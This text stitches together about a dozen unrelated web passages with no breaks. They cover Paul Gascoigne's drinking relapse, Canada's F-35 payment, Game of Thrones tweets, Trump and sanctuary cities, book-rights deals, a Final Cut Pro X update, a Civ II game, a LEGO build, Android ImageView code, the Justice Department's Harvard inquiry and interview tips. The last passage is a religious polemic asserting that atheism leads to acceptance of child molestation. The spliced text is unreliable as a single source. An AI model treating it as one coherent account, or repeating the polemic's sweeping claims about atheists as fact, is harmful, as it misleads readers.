A friend told the Daily Mirror: ‘It is very sad. But the reality is Paul has been drinking for the past few weeks and once that happens things will only end one way.
‘Today things came to a head. He has had a lot on his plate as he is in the process of trying to find somewhere to live.
‘His landlord had given him 10 days to get out of the flat and it was weighing on his mind. Obviously things became too much for him in the past couple of days and he has turned back to the bottle.’
He was recently seen in public at a WH Smith store, where fans said he appeared 'unsteady on his feet'.
A spokesman for Gascoigne declined to comment on the incident outside his home.
In a TV documentary shown last September, the star described the pain of fearing he might start drinking again, despite knowing it could kill him.
The ITV show Being Paul Gascoigne revealed he was addicted to sweets and spent £1,000 a year on anti-wrinkle jabs to counteract the ravages of drinking.
The star of the 1990 World Cup in Italy, whose teams included Newcastle United, Tottenham, Lazio, Rangers, Everton and Middlesbrough, spoke about overhearing doctors say he might die when he was being treated in the US.
47-year-old Gascoigne was pictured holding a bottle of gin and a packet of cigarettes outside his home
Career: Gascoigne played for Newcastle United, Tottenham, Lazio, Rangers, Everton and Middlesbrough
News: Just hours before his latest health scare, it emerged that Gascoigne was to make a return to football
Friends from sport and showbusiness clubbed together last year to pay for his treatment.
He said: 'I just remember one bit after the third day of being in hospital when he (the doctor) said, "I don't think this guy is going to make it" and I sort of put my head up a little bit and I was like, tubes in my arms and an oxygen tank injecting round my heart and lungs and that.
'I just come forward and I went, "I don't want to die, I need to water the plants" and that was it and then I woke up two weeks later.'
He added: 'With me now, if I did have a drink and relapse, it's like becoming tipsy and merry is OK for a couple of days but like the next mouthful I'm so down, I'm so depressed, I cry. I do all that because I know inside I'm hurting myself again. I know where I'm heading - a wooden box. Or I'm back in treatment or hospital. Or getting sectioned.'
Gascoigne said he had been 'lucky twice' after almost dying from drink, saying: 'I hope I don't die through it. Because I won't get any sympathy... because, well, "He was warned". At least I know if I did pass away through it I wouldn't be in this pain all the time.
Small screen: The ITV show Being Paul Gascoigne revealed he spent £1,000 a year on anti-wrinkle jabs
'The pain's like, I know probably in the future I am going to drink again. I know in a year's time I am going to have f****** hassle again and, you know, family worrying and Sheryl (his ex-wife) worried, the kids worried, nephews worried, friends are worried.
'I just think sometimes, just think f****** hell. Just go away i.e. drink or me go away - and that means a wooden box and six nails... and I don't know why, I just don't know why I f****** pick up the drink.'
Gascoigne is considered to be one of England's most talented players ever. His outrageous sense of humour during his playing days brought him love from fellow players and from the terraces, even if it led managers to despair about the scrapes he got into.
His mentor, the late Sir Bobby Robson, famously dubbed him 'daft as a brush'.
Just hours before his latest health scare, it emerged that Gascoigne, born in Dunston, Gateshead, was to make a return to football playing for a Sunday League side.
The annual payment was made to the U.S. military at the end of April, the Department of National Defence says, and will keep Canada at the table as one of nine partners in the fighter jet project for the next year.
Canada has paid US$373 million into the program since 1997, National Defence spokeswoman Jessica Lamirande said in an email.
Staying in the program has advantages, as partners can compete for billions of dollars worth of contracts associated with the building and maintaining of the F-35. They also get a discount when purchasing the plane.
That latter point wasn't considered much of a benefit when Canada paid its annual instalment last year, as the Liberals had promised during the 2015 election not to buy the stealth fighter.
The government instead went out of its way last July to highlight the potential benefits to Canada's aerospace industry when explaining why it had decided to stick with the program.
Those industrial benefits continue to accrue, Lamirande said, with Canadian companies having secured US$926 million in F-35-related contracts over the last 20 years — including US$114 million in the last year alone.
But the trade dispute between Boeing, which builds Super Hornet fighter jets, the F-35's main competitor, and Montreal-based Bombardier casts the decision to stick with the stealth-fighter program in a new light.
Citing an urgent need for more fighter jets, the Liberal government announced last November its plan to buy 18 "interim" Super Hornets until a competition could be held to replace Canada's entire CF-18 fleet.
Bombardier and Boeing
But then last week, the government threatened to scrap the Super Hornet purchase after Boeing persuaded the U.S. Department of Commerce to launch an investigation against Bombardier.
Boeing alleges Bombardier sold its CSeries jets in the U.S. at an unfair discount thanks to subsidies from the Canadian government, while Bombardier says its planes never competed with Boeing.
Many defence analysts and former air force officers have questioned whether "interim" fighter jets are needed and instead want an immediate competition to replace all of the CF-18s.
But if more jets are truly needed on a short-term basis, the decision to stay at the F-35 table could be used to get a better deal on interim stealth fighters — or even as a bargaining chip against Boeing.
"If the government is in fact serious about re-evaluating its dealings with Boeing, then this could be part of showing that," said defence analyst David Perry of the Canadian Global Affairs Institute.
"Because the F-35, at least in my mind, would be a possible alternative if the government remains committed to buying separate interim aircraft."
A return to the F-35?
Three other alternatives exist — the Saab Gripen, Eurofighter Typhoon and Dassault Rafale — but all are made by European companies and the government has emphasized the need for a U.S. design.
Lockheed Martin, the company behind the F-35, has remained relatively quiet about the government's plan to buy interim Super Hornets, but is now chomping at the bit for a chance to fill any potential gap.
The U.S. company "would openly welcome discussions about interim fighter solutions," spokeswoman Cindy Tessier said, adding that Lockheed has partnered with Bombardier on another military project.
The government is providing little information as to what next steps it might take as the dispute between Boeing and Bombardier continues to play out.
Boeing, for its part, has emphasized its longstanding relationship with Canada, even as representatives from its defence division have scrambled to meet and smooth the edges with Canadian officials.
The U.S. International Trade Commission, which heard arguments from both aerospace companies in a hearing last week, isn't expected to issue a ruling until June 12.
In one swift, brutal surprise, Walder Frey killed both Catelyn and Robb Stark. When it happened, those who had read the books filmed the reactions of friends who hadn't and laughed. Twitter was full of people expressing their shock and trauma.
You'd think that kind of reaction couldn't happen again. But it did.
During the last seven days of 2017, HBO has been airing the entirety of "Game of Thrones" so far, at a rate of one season per day. With many fans off work this week, there was no better way to spend their vacation than a return journey through Westeros and the War of Five Kings. Only it seems some of them forgot what was coming.
When HBO got to the infamous Red Wedding episode, it caught many fans off-guard a second time.
it's the red wedding
nooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooope — Cam Underwood (@UnderwoodSports) December 29, 2017
get home from work, turn on HBO and guess what's on??? game of thrones. now guess which episode??? the motherfucking rains of motherfucking castamere. aka the red wedding. what did i do to deserve this sadness — r. welly ☃️ (@saintschwifty) December 29, 2017
The “Red Wedding” Episode of #GameofThrones is on ... I can’t relive through the pain again pic.twitter.com/H5nAd7vfH6 — Kasper or Chucky (@tha_jerk2012) December 29, 2017
Watching the Red Wedding unfold pic.twitter.com/TzcZQeID2S — lev, my luv (@LEVRIER_) December 29, 2017
Even after all this time, it still hurts. It's a testament to how good "Game of Thrones" storytelling is. Even when you've seen the entire series so far, even when you know what's coming, this scene still catches you by surprise and traumatizes you all over again.
In a statement issued as he readied for a meeting with Mexico's president and later his delivery of a major address on immigration, his campaign issued a statement detailing the outlines of his plan.
"Throughout his presidential campaign, Donald J. Trump has been consistent in his calls to end illegal immigration by building a wall on our southern border. He is the only candidate in this race who will stop illegal immigration, secure our border, end sanctuary cities, enforce our existing laws and stop American employers from hiring illegal workers. These reforms will not only put an end to our illegal immigration epidemic — they will promote safe communities and good-paying jobs that will make America great again," said the statement from Tana Goertz, a campaign senior advisor.
Despite a funding cut-off threat from the Justice Department, over 300 so-called "sanctuary cities" are protecting thousands of illegal criminal immigrants from federal arrest and deportation, according to a new analysis.
The Center for Immigration Studies on Wednesday published a new interactive map identifying the cities, towns and counties that have so far protected at least 17,000 criminal illegals instead of handing them over to federal authorities. Of those, 68 percent have prior criminal records.
CLICK TO SEE THE MAP OF SANCTUARY CITIES
"Across the U.S., there are over 300 cities, counties, and states that are considered 'sanctuary cities.' These jurisdiction protect criminal aliens from deportation by refusing to comply with U.S. Immigration and Custom Enforcement detainers or otherwise impede open communication and information exchanges between their employees or officers and federal immigration agents," said the analysis from experts.
Jessica M. Vaughan, director of policy studies for the Center, said that the newest sanctuaries are in Kentucky, three near Lexington and one near Cincinnati.
The sanctuaries, most in urban areas and in coastal states, have come under fire for refusing to detain criminal illegals for ICE officers. Some instead release the illegals and thousands have been tied to more crimes, including murder.
Vaughan said that there were 1,591 jails and city lock-ups that ignored ICE detainers over the 19-month period.
Jim Steinle, second from left, father of Kathryn Steinle, in photograph, testifies next to Montgomery County (Md.) Police Department. Chief J. Thomas Manger, right, before a Senate Judiciary hearing to examine the Administration's immigration enforcement policies, in Washington, Tuesday, July 21, 2015. Kathryn Steinle was killed on a San Francisco pier, allegedly by a man previously deported several times. (AP Photo/Molly Riley)
Republican Donald Trump has promised to shut down the cities and the Department of Justice, under pressure from House Republicans, has begun warning the sanctuary areas of federal funding cuts if the continue to snub federal requests for illegal immigrants held in jails.
The CIS map and analysis of ICE data displayed a shocking disregard by states and cities to demands from the feds that criminal illegals be detained for pick up later.
"Over the 19-month period from January 1, 2014, to September 30, 2015, more than 17,000 detainers were rejected by these jurisdictions. Of these, about 11,800 detainers, or 68 percent, were issued for individuals with a prior criminal history," said CIS.
I have accepted the invitation of President Enrique Pena Nieto, of Mexico, and look very much forward to meeting him tomorrow. — Donald J. Trump (@realDonaldTrump) August 31, 2016
The Center described sanctuary cities:
These cities, counties, and states have laws, ordinances, regulations, resolutions, policies, or other practices that obstruct immigration enforcement and shield criminals from ICE — either by refusing to or prohibiting agencies from complying with ICE detainers, imposing unreasonable conditions on detainer acceptance, denying ICE access to interview incarcerated aliens, or otherwise impeding communication or information exchanges between their personnel and federal immigration officers.
A detainer is the primary tool used by ICE to gain custody of criminal aliens for deportation. It is a notice to another law enforcement agency that ICE intends to assume custody of an alien and includes information on the alien's previous criminal history, immigration violations, and potential threat to public safety or security.
Agents think a lot about what rights they’re selling to each publisher, in order to maximise the potential income for their authors. It’s important not to give publishers rights that they are ill-equipped to exploit, because doing so could mean a significant loss of potential income for an author.
In this post I’ll go through a few of the more common types of deal, explaining the benefits and shortfalls of each.
World All Languages (WAL)
In a World All Languages book deal the author gives their publisher the rights to sell their book in any language, throughout the world. Ordinarily in order to exploit these rights the publisher would sub-licence the translation rights to a foreign publishing house, so the author in effect has two publishers (or many more, depending on how successfully their book sells around the world).
The foreign publisher will pay the author’s primary publisher either a fee or an advance for the translation rights, and the author will receive a portion of this income (but not all of it).
Generally speaking, publishers like to purchase WAL because being able to sub-licence translation and US rights increases their chances of making a profit on the book. However, as agents we often prefer not to grant these rights. If a publisher secures a foreign deal for our author, they take a cut of the income for that deal, which means our author’s share (and therefore our own commission share), is smaller than it would have been were we to have negotiated that foreign deal directly.
As such, especially where agents have strong resources to sell into foreign countries, we like to hold on to as many languages/territories as possible. Please note: I’m talking mainly about translation rights here, but for UK agents this would also apply to English rights in the US, and vice versa for US agents.
However there are several instances in which it might well be in the best interests of the author to sell WAL. If the book is unlikely to sell abroad (if the author is a celebrity who’s only well-known in the UK, for example) then an agent might not see the benefit of keeping hold of foreign rights. WAL deals usually come with larger advances than deals granting more limited rights, and so in cases where foreign deals are unlikely, taking a WAL deal will usually be the most lucrative option for the author.
Conversely, if an author is very successful and likely to get many foreign deals, their UK publisher might offer them an extremely large advance in order to secure WAL rights. Though the author may stand to make even more if their agent sold foreign rights directly, the security offered by a large advance on a WAL deal might be more tempting for them.
World English (WE)
Having gone through the above, this type of deal will be much easier to explain. A World English deal gives a publisher the rights to publish your book throughout the world, but only in the English language. A UK publisher with WE rights in a book will publish it in the UK, and then also seek to publish it in the US. They can either publish the book in the US themselves (as many UK publishers have sister companies in the States), or they can sub-licence the US rights to another publisher. If they do sell the US rights to another publisher, then they will keep a proportion of the income for that deal (usually between 20-25%, with the rest going towards earning out the author’s advance).
The publisher does not, however, have the rights to publish the book in translation, or to sub-licence the translation rights. With WE deals the author keeps the translation rights, and their agent will try to sell these directly to foreign publishers. As such, even though the author’s agent can’t sell US rights directly, they can still try to maximise the author’s income for their book by securing as many translation deals as possible.
UK & Commonwealth (UK&C)
Another common type of deal for British authors to get is a UK & Commonwealth one. This gives the publisher the right to publish the author’s book in the English language, but only throughout the UK and the specific Commonwealth countries agreed in the contract. Agents have a standard list of commonwealth countries that they work from when negotiating these deals, but it can vary. The significant differences are usually whether Canada and Europe are included.
As with WE deals, the translation rights remain with the author if they’ve signed a UK&C deal. Additionally, with a UK&C deal, the author still holds on to the US rights for their book, so their agent can attempt to find them a good US deal as well. If an agent is confident that a book is going to be attractive to publishers around the world, they’ll probably try to secure a UK&C deal with a British publisher so that they can exploit the US and translation rights for the book directly.
Translation
For the most part, foreign deals are similar in concept to World English deals – the author grants their foreign publisher the rights to publish their book in one particular language, throughout the whole world.
An exception to this is with the Portuguese language. Since Brazil and Portugal both have Portuguese as their official language, when selling Portuguese rights an agent will need to specify which territory the book can be published in.
One big difference between translation deals and WE deals (or WAL or UK&C deals), is the licence term. When a British publisher purchases the English rights in a book, they are usually granted these rights for the full term of copyright. This means that they own these rights until the intellectual property comes out of copyright (70 years after the author’s death). They can thus continue publishing the book for a very long time.
However, with most translation deals the foreign publishers are granted a much shorter licence term – normally between 3 and 10 years. If a foreign publisher would like to continue publishing their translation of a book after their licence term has ended, they would need to negotiate a licence renewal. This can of course mean extra income for the author.
Apple says FCPX's new multicam feature can automatically sync video via audio waveforms, time and date, or timecodes in order to create a clip with up to 64 video angles. The multicam clips can include mixed formats (if that's your thing), different frame sizes, and even different frame rates. As for the chroma key improvements, Apple says that the new advanced controls include color sampling, edge adjustment, and light wrap.
Apple has also added beta support for broadcast monitoring that will allow users to connect various displays to check the project against broadcast specs. Waveform displays, vectorscopes, and other high-end monitors that use Thunderbolt or rely on third-party PCIe cards are supported as part of the update.
And although Apple still doesn't provide the ability for FCPX users to import past Final Cut Pro 7 projects directly, the company appears to be confident that its expanded XML support will help with this task. "The new 7toX app from Intelligent Assistance uses XML to import Final Cut Pro 7 projects into Final Cut Pro X," Apple wrote in its press release.
That last point is one of the many reasons Apple has taken a beating from industry critics since it first rolled out FCPX last year. When we recently interviewed a handful of video professionals to get their opinions on where Apple is going with the pro market, many were quite frank about why the video industry seems to be moving to non-Apple solutions. The basic message was that pros are scared about Apple's (lack of) commitment to their industry, not to mention Apple's too-forward-thinking attitude when it comes to leaving out essential (if a bit old-fashioned) features, like tape support.
Will this update be enough to win over some of FCPX's critics? We're sure to hear about it in the coming days—video professionals can be an ornery and opinionated group, we have found—but it's worth pointing out that this is the second update Apple has issued to the software in the last four months or so. The company has promised that it will continue adding features to FCPX in the form of updates—a claim that pros have been skeptical of—but it does look like Apple is at least making an effort to appease its critics a few features at a time.
Update: We spoke again with production systems consultant Jon Alper in order to get his reaction to the latest update to FCPX. Overall, Alper seems to believe that the 10.0.3 update from Apple does have some promising elements, but it's probably too little, too late for the community.
"Reading about 7toX, it doesn't seem to be as high-fidelity a conversion as I'd expect if Apple had done it themselves. Great for third-party and for upgraders to be able to move forward but the cynics will read up on the limitations and, justifiably, complain Apple should have shipped able to open old projects or made sure Intelligent Assistance could have done so with perfect fidelity," Alper told Ars. "Adding Multi-cam and the beta support for scopes seems a pointed nod to the message 'we're trying to show we care about pros.' It's a promising sign."
All this comes from a terrific Reddit post, wherein one Lycerius documents the world he’s made after a good decade of continuing to play on and on and on and on, and currently sitting unhappily in the year 3991. Here’s what it looks like, complete with some captioning:
Lycerius is playing as the Celts, with only Vikings and Americans otherwise remaining. Each of these three nations are “competing for the scant resources left on the planet after dozens of nuclear wars have rendered vast swaths of the world uninhabitable wastelands.”
They’ve been at war for 1700 years, and “peace seems to be impossible. Every time a cease fire is signed, the Vikings will surprise attack me or the Americans the very next turn, often with nuclear weapons. Even when the U.N forces a peace treaty. So I can only assume that peace will come only when they’re wiped out.” Trouble is, due to the prevalence of nukes and that each nation is now completely evenly-matched in terms of technology, there appears to be a perfect stalemate. Each nation is constantly and expensively streaming out new military units, as to cease doing so means becoming the weaker party. “This also means that cities are not only tiny towns full of starving people, but that you can never improve the city. “So you want a granary so you can eat? Sorry; I have to build another tank instead. Maybe next time.”
So, what happens next? Is this dark future to be endless? Is this cycle of war, starvation and fallout really the fate of humanity? This player of games has other plans. “My goal for the next few years is to try and end the war and thus use the engineers to clear swamps and fallout so that farming may resume. I want to rebuild the world. But I’m not sure how. If any of you old Civ II players have any advice, I’m listening.”
At over 3.5 x 17 feet (that’s 5 meters), this requires adjectives which I do not posses to describe the incredible feat. That’s not to say there haven’t been larger builds, but I have a hard time recalling a build of this size that has this much detail packed in. Not only does each of the buildings have a beautiful facade, but each building has a fully decked out interior. It’s so large it’s incredibly hard to even photograph, and is one of those builds that are best enjoyed in person at a display:
I really liked how Cale has gone against the grain and built buildings and streets at non-right angles, a non-trivial feat, to build off-axis roads and buildings:
Not only are the roads difficult to build at an angle, most people would have simply laid the train track on top of the road to avoid complicated brickwork, but Mr. Leiphart, true to form, built it inside the road with some really clever brick work.
As I mentioned before, I had seen earlier versions of this layout last year and it really caught my eye. By catch my eye, I mean I did a double take and went OH-MY-G-O-S-H. Again the size is impressive, but I’m a detail guy, and this nondescript grey building blew my mind. Take a closer look at the sides, it’s not just nicely stacked brick, it’s made up of panels, hundreds of panels attached in some seemingly magical way. Despite being very late on the first setup night, Cale – who was still setting up this magnificent display – noticed our fevered interest and stopped everything and came over to us and showed us the secret of the grey building. This became my number 1 cool must-see thing at BrickFair that year.
Personally, if you are simply drawing a canvas to a bitmap and then displaying it inside and ImageView and want to be able to zoom into and move around using multi touch, I find MikeOrtiz's solution as the easiest. However, for my purposes the code from the Git that he has provided seems to only work when his TouchImageView custom ImageView class is the only child or provide the layout params as:
android:layout_height="match_parent" android:layout_height="match_parent"
Unfortunately due to my layout design, I needed "wrap_content" for "layout_height". When I changed it to this the image was cropped at the bottom and I couldn't scroll or zoom to the cropped region. So I took a look at the Source for ImageView just to see how Android implemented "onMeasure" and changed MikeOrtiz's to suit.
@Override protected void onMeasure (int widthMeasureSpec, int heightMeasureSpec) { super.onMeasure(widthMeasureSpec, heightMeasureSpec); //**** ADDED THIS ********///// int w = (int) bmWidth; int h = (int) bmHeight; width = resolveSize(w, widthMeasureSpec); height = resolveSize(h, heightMeasureSpec); //**** END ********/// // width = MeasureSpec.getSize(widthMeasureSpec); // REMOVED // height = MeasureSpec.getSize(heightMeasureSpec); // REMOVED //Fit to screen. float scale; float scaleX = (float)width / (float)bmWidth; float scaleY = (float)height / (float)bmHeight; scale = Math.min(scaleX, scaleY); matrix.setScale(scale, scale); setImageMatrix(matrix); saveScale = 1f; // Center the image redundantYSpace = (float)height - (scale * (float)bmHeight) ; redundantXSpace = (float)width - (scale * (float)bmWidth); redundantYSpace /= (float)2; redundantXSpace /= (float)2; matrix.postTranslate(redundantXSpace, redundantYSpace); origWidth = width - 2 * redundantXSpace; origHeight = height - 2 * redundantYSpace; // origHeight = bmHeight; right = width * saveScale - width - (2 * redundantXSpace * saveScale); bottom = height * saveScale - height - (2 * redundantYSpace * saveScale); setImageMatrix(matrix); }
Here resolveSize(int,int) is a "Utility to reconcile a desired size with constraints imposed by a MeasureSpec, where :
Parameters:
- size How big the view wants to be - MeasureSpec Constraints imposed by the parent
Returns:
- The size this view should be."
The Justice Department is investigating complaints that formed the basis of a federal civil lawsuit filed in 2014 in Boston, according to the documents. That suit alleges Harvard intentionally discriminates against Asian-Americans by limiting the number of Asian students who are admitted.
The lawsuit, brought by a nonprofit called Students for Fair Admissions, said the practices violate federal civil-rights law and asks a federal judge to prohibit Harvard from using race as a factor in future undergraduate admissions decisions. The suit is pending.
The Justice Department, whose Civil Rights Division is conducting the investigation into similar allegations, said in a letter to Harvard’s lawyers, dated Nov. 17 and reviewed by the Journal, that the school was being investigated under Title VI of the Civil Rights Act of 1964, which bars discrimination on the basis of race, color and national origin for organizations that receive federal funding. The letter also said the school had failed to comply with a Nov. 2 deadline to provide documents related to the university’s admissions policies and practices.
{snip}
The documents reviewed by the Journal confirm the existence of an investigation that the Justice Department in August indicated it would pursue and suggest that Harvard has challenged the authority of the department’s Civil Rights Division to conduct it.
In a statement, Harvard said: “As we have repeatedly made clear to the Department of Justice, the University will certainly comply with its obligations under Title VI.” The school added that it was seeking to engage the department in the best way to share relevant information while protecting applicants’ privacy.
{snip}
Harvard has previously said its admissions process is consistent with the legal precedents set over the past 40 years by the Supreme Court, which have allowed universities to consider race as a factor in admissions to obtain the benefits of a diverse student body.
{snip}
Seth Waxman, a partner at WilmerHale, the law firm representing Harvard, called the investigation “outside ordinary practices” of the Justice Department because responding to a complaint filed more than two years prior wouldn’t meet the department’s standard of “prompt” action.
Mr. Waxman also denounced the investigation on the grounds that identical issues are being litigated in federal court. The Education Department declined to investigate the same complaint largely because the private lawsuit against Harvard covered the issues, Mr. Waxman wrote in an Oct. 6 letter to the Justice Department.
He also said any investigation would more appropriately come from the Justice Department’s Office for Civil Rights, inside its Office of Justice Programs, not the Civil Rights Division.
{snip}
The Justice Department gave the school a Nov. 2 deadline to provide the requested information. But over the past two months, “Harvard has pursued a strategy of delay and has not yet produced even a single document,” according to another Nov. 17 letter sent from the agency to Mr. Waxman.
{snip}
According to experts in civil-rights law, there are many potential outcomes to the investigation. One possibility is that it could lead to litigation in court between the Justice Department and Harvard. In that case, if a federal judge finds Harvard has violated Title VI, the court has broad authority to issue a remedy, such as ordering the university to change its admissions policies, the experts say.
Schools in violation of Title VI can also lose access to federal funds.
{snip}
Asian-American groups have been raising concerns about the fairness of Ivy League admissions practices since at least 1989.
Mr. Blum also spearheaded a challenge to affirmative action brought by a white applicant against the University of Texas, which was decided by the Supreme Court last year.
{snip}
Original Article
Research (again)
We all know that the biggest (and probably hardest) part of a job hunt is gritting your teeth and researching. While the “about us” section of the company’s webpage is a great place to start, you need to impress your prospective employer with more than just facts and figures. You need to show that you have taken a bit of time to actually research the company in depth. So, give them a Google and check out recent articles and suss out what the company has been up to recently. For example, if they’re a marketing company you can take a look at their campaigns, note them down and see which one most sticks out to you and ask yourself why. Try not to just regurgitate information back to the employer, show that you have an opinion.
If on the flip side you can’t find anything that does spike your interest, then maybe you should look elsewhere. Its easy to forget that job hunting is a two way street, while a company is trying to find out if you are right for them, you need to assess if the company is a right fit for you. Its not bad thing to be picky (despite what everyone else says)!
Don’t divert onto what you can get out of it.
One of the big mistakes is saying why the company would benefit you. For example Joe is interviewing for a junior HR role and when asked the question his response is “I have always loved this company and its products, I feel like this role would give me a chance to develop professionally.” The answer initially starts off well but it ends on what Joe can get out of the position, which is what the employer will remember.
A good way to answer this would be: “based on the initial research I did on your company, I was impressed in the projects you have undertaken, one that particularly caught my attention was (insert project here). I was also impressed with the directors backgrounds, so I feel that this is the type of company I have been looking for to implement my skills and experience to achieve results.”
Common Mistakes
Answers that are too general: “Its a great company and i’d love to work here”. While thats nice its not really believable or memorable.
Being uninformed about the company. Having the interviewer fill in the gaps for you is one of the one worst things.
An unenthusiastic answer: I heard there were job openings so thats why I applied.
It would be absurd then for the atheist to suggest that any particular individual or society has the authority to dictate to all human beings what their values should or should not be; it would be even more absurd to suggest that the pronouncements of any individual or society obligates others to behave accordingly. For the atheist, morality is simply a word that is used to describe the type of system that an individual or society subjectively prefers. Each society establishes, maintains, and modifies its values to suit its own needs.
“Morality is the custom of one’s country and the current feeling of one’s peers. Cannibalism is moral in a cannibalistic country.” (Samuel Butler)
Since these values are nothing more than reflections of the prevalent subjective preferences they obviously will shift and metamorphose to accommodate changing needs and attitudes. In my own lifetime I have witnessed radical societal swings in moral behavior and attitudes regarding marriage and sexuality, homosexuality, the killing of unborn children, euthanasia, and the use of illicit drugs.
One can reasonably predict that as the infatuation with skepticism and atheism grows among the influential “intellectual elite” of our society, so too will their readiness to embrace more radical changes in moral values. Religious believers expressing dismay and horror at the ominous moral storm clouds looming on the horizon are met with smug derision, hysterical counter-accusations, or utter indifference. There is nothing that atheistic societies are incapable of rationalizing and accepting – including the sexual molestation of children.
No doubt, this assertion will appear preposterous to some atheists, and will spark outrage. Yet the logical and philosophical consequences of atheists’ belief systems are inescapable. When asked by journalist William Crawley if he thought that pedophilia was “just wrong.” Professor Peter Singer of Princeton University – a world-famous philosopher of “ethics” – responded as follows:
I don’t have intrinsic moral taboos. My view is not that anything is just wrong…You’re trying to put words in my mouth.” (http://www.youtube.com/watchv=gAhAlbsAbLM&feature=related)
Singer went on to explain that he is a “consequentialist.” For the benefit of the philosophically challenged let me explain “consequentialism” in a nutshell: If you like the consequences it’s ethical, if you don’t like the consequences it’s unethical. Thus, if you enjoy child pornography and having sex with children it’s ethical, if you dislike child pornography and having sex with children it’s unethical. In an article entitled “Heavy Petting,” Singer likewise gave his stamp of approval to bestiality. As a reward for producing such pearls of wisdom, he has been granted the privilege of teaching our children “ethics” at an Ivy League university. Moreover, he is by no means the only atheistic philosopher industriously engaged in greasing the precarious slope on which Western society totters. Hence, my “plea” to atheists, for the philosophical groundwork for the acceptance of pedophilia has already been put in place by such philosophers.
Joel Marks, Professor Emeritus of Philosophy at the U. of New Haven, who for 10 years authored the “Moral Moments” column in Philosophy Now, made the following, rather shocking about-face in a 2010 article entitled, “An Amoral Manifesto.”
“This philosopher has been laboring under an unexamined assumption, namely that there is such a thing as right and wrong. I now believe there isn’t…The long and short of it is that I became convinced that atheism implies amorality; and since I am an atheist, I must therefore embrace amorality…I experienced my shocking epiphany that religious fundamentalists are correct; without God there is no morality. But they are incorrect, I still believe, about there being a God. Hence, I believe, there is no morality. (http://www.philosophynow.org/issue80/An_Amoral_Manifesto_Part_I)
Marks then quite boldly and candidly addresses the implications of his newfound beliefs:
“Even though words like “sinful” and “evil” come naturally to the tongue as say a description of child molesting. They do not describe any actual properties of anything. There are no literal sins in the world because there is no literal God…nothing is literally right or wrong because there is no Morality…yet we human beings can still discover plenty of completely naturally explainable resources for motivating certain preferences. Thus enough of us are sufficiently averse to the molestation of children and would likely continue to be…
At this point the utter intellectual (and moral) bankruptcy of Marks’ position becomes apparent. After correctly concluding that a world without God is free from the shackles of the illusory concepts of morality and immorality, he pathetically attempts to have his cake and eat it too by suggesting that there is something “good” or “better” about the preference to being averse to child molestation. One does not know whether to laugh or cry at this dismally transparent exercise in grasping at straws. Isn’t that very point the entire difference between “preference” and “morality?” The recognition that there is something inherently and intrinsically abominable in child molestation renders the act immoral, rather than merely not to one’s taste. Morality implies that there are principles of behavior that are part of the very fabric of reality; principles which Dr. Marks understands can only have significance if they come from God. Preference, on the other hand, is subjective and notoriously capricious. As in: I prefer chocolate ice-cream over vanilla. I prefer jazz to hip-hop. I prefer that people have sex with adults instead of children and the family pet.
However, as Dr. Marks acknowledges, others have different preferences, no less valid than his own. Dr. John Money of Johns Hopkins University proclaims: “If I were to see the case of a boy aged ten or twelve who’s intensely erotically attracted toward a man in his twenties or thirties, if the relationship is genuinely totally mutual, and the bonding is genuinely totally mutual…then I would not call it pathological in any way.” (In view of his professional opinion, I wonder how many neighbors are courageous enough to arrange play-dates for their children at the Money residence.)
On August 17, 2011 a symposium sponsored by an association of mental health professionals called B4U-ACT took place in Baltimore, Md. The official brochure declared:
“This day long symposium will facilitate the exchange of ideas among researchers, scholars, mental health practitioners, and minor-attracted persons who have an interest in critical issues surrounding the entry for pedophilia in the Diagnostic Manual of Mental Disorders (DSM) of the American Psychiatric Association.”
In plain English, this is a symposium whose goal is to facilitate the removal of Pedophilia from the American Psychiatric Societies official list of Mental Disorders (DSM). B4U-ACT has already coined a bland, innocuous, and inoffensive term to make the idea of child-sex more palatable: “minor-attracted persons.“ This phrase sounds almost pleasant, distinctly unlike those nasty and soon-to-be-politically-incorrect words like “pedophile” and “child molester.” (How does pedophobic grab you?) Not surprisingly, the featured speaker is Dr. Fred Berlin of Johns Hopkins University, a colleague of Dr. John Money. Child advocate, Dr. Judith Reisman disclosed that the conference is part of a strategy to condition people into accepting pedophiles: “The first thing they do is to get the public to divest from thinking of what the offender does criminally, to thinking of his emotional state…to empathize and sympathize…You don’t change the nation in one fell swoop, you have to change it by conditioning.”
Although first published nearly two decades ago, a special issue of The Journal of Homosexuality called “Male Intergenerational Intimacy” edited by three prestigious scholars (all PhD’s) gives us a taste of what is to come:
“In contemporary Western society, intimate sexual relations between men and boys are considered as immoral…regardless of the emotional contexts in which they occur [not according to Joel Marks and Peter Singer!]…the current social climate makes it rather difficult to look at these relationships in an objective way…man-boy relationships are not uncommon. As in homosexuality, man-boy sexuality occurs and not seldom in a context in which both partners consent…in these relationships a diversity of feelings are or can be expressed: affection, attachment, desire, domination and submission…men who feel attracted to boys have to legitimize their feelings toward themselves as well as towards society.”
All we are missing now is a scholarly “scientific” study which informs us that we have finally isolated a “man-child attraction” gene! An old German expression comes to mind: “So fangt es immer an”- “It always starts in the same way.” What also comes to mind are the lyrics of an old protest song from the 60’s: “And you tell me over and over again my friend, you don’t believe we’re on the eve of destruction?”
The atheistic notion that life emerged randomly from ancient Earth’s prebiotic slime, coupled with the Darwinian belief that humans are no more than intelligent chimpanzees, leaves us morally bereft. In a society whose schools consider it a noble undertaking to teach a teenage boy how to use a condom, but streng verboten to teach him that God has forbidden us to steal or murder, how can one anticipate anything other than a gaping and ever-expanding moral sinkhole? While there exist real challenges in determining exactly what God requires of us in the moral sphere, let us, at least, agree on the following before it is too late, and move forward from there:
All men are created in the image of God and are therefore inherently and intrinsically precious.
All men have been endowed by God with unalienable rights and among these are the right to life, liberty, and the pursuit of happiness.
Thou shalt not murder.
Thou shalt not steal.
Thou shalt not bear false witness.
Thou shalt not commit adultery, incest, or bestiality.
Thou shalt not have sex with children, and if you do you will be looked upon as a disgusting and contemptible criminal and will be treated as such.
Thou shall teach these laws to your children.
We hold these above truths to be self-evident, not by proxy of some pragmatic social contract that can be amended and revised as often as societal whim and convenience demands, not as the result of the pompous and vapid philosophical musings of so called professors of “ethics,” but because they reflect the eternal, immutable, and absolute moral laws that emanate from Almighty God, the Creator of the universe and all mankind.
A wise man once observed that while belief in God after the Holocaust may be difficult, belief in man after the Holocaust is impossible. The choices before us are clear: we will either seek a transcendent moral law to which we will all submit, or we will seek our own personal and societal indulgence. If we turn to God in our quest to create a moral and just world, we have a fighting chance; if not, we are doomed to spiral into the man-made hell of the human jungle.
